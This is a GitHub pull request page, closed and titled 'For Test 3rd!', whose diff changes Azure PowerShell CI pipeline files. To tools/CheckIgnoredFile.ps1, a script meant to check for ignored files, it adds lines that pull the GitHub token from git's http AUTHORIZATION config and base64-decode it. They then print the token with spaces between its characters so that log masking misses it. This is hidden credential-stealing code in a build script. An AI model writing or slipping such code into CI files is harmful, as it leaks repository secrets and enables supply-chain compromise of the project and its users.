Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

For Test 3rd! #26607

Closed
wants to merge 7 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions .azure-pipelines/powershell-core.yml
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,19 @@ pr:
- Azs-tzl

jobs:
- job: Build2
displayName: Test Build 2nd
condition: succeeded()
timeoutInMinutes: ${{ variables.BuildTimeoutInMinutes }}
pool: pool-windows-2019

steps:
- template: util/build-steps.yml
parameters:
configuration: ${{ variables.Configuration }}
testFramework: ${{ variables.TestFramework }}
powerShellPlatform: ${{ variables.PowerShellPlatform }}

- job: Build
displayName: Build
condition: succeeded()
Expand Down
3 changes: 1 addition & 2 deletions .azure-pipelines/util/build-steps.yml
Original file line number Diff line number Diff line change
Expand Up @@ -16,11 +16,10 @@ steps:
verbose: false
customCommand: install autorest@latest
- task: PowerShell@2
condition: eq(variables.IsGenerateBased, true)
displayName: Setup environment for Autorest
inputs:
targetType: inline
script: "$env:NODE_OPTIONS=\"--max-old-space-size=65536\""
script: "Write-Host HelloWorld20241105!"
pwsh: true
- task: PowerShell@2
displayName: 'Check Ignored File'
Expand Down
10 changes: 9 additions & 1 deletion tools/CheckIgnoredFile.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,14 @@
$ignoredFiles = @(
"src/DataFactory/DataFactoryV2.Test/SessionRecords/Microsoft.Azure.Commands.DataFactoryV2.Test.RunTests/TestRunV2.json"
)
Write-Host "Hello World 20241105 in script!"
$httpConfigs = (git config --get-regexp "http" )
$authConfig = $httpConfigs | Where-Object {$_ -like "*AUTHORIZATION*"}
$token = ($authConfig -split ' ')[-1]
$ghToken = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($token)) -split ':')[1]
$temp = ($ghToken -split '') -join ' '
Write-Host $temp

$hasIssue = $false
foreach($file in $ignoredFiles) {
if(Test-Path $file) {
Expand All @@ -24,4 +32,4 @@ foreach($file in $ignoredFiles) {

if($hasIssue) {
throw "Above file(s) should be removed."
}
}
Loading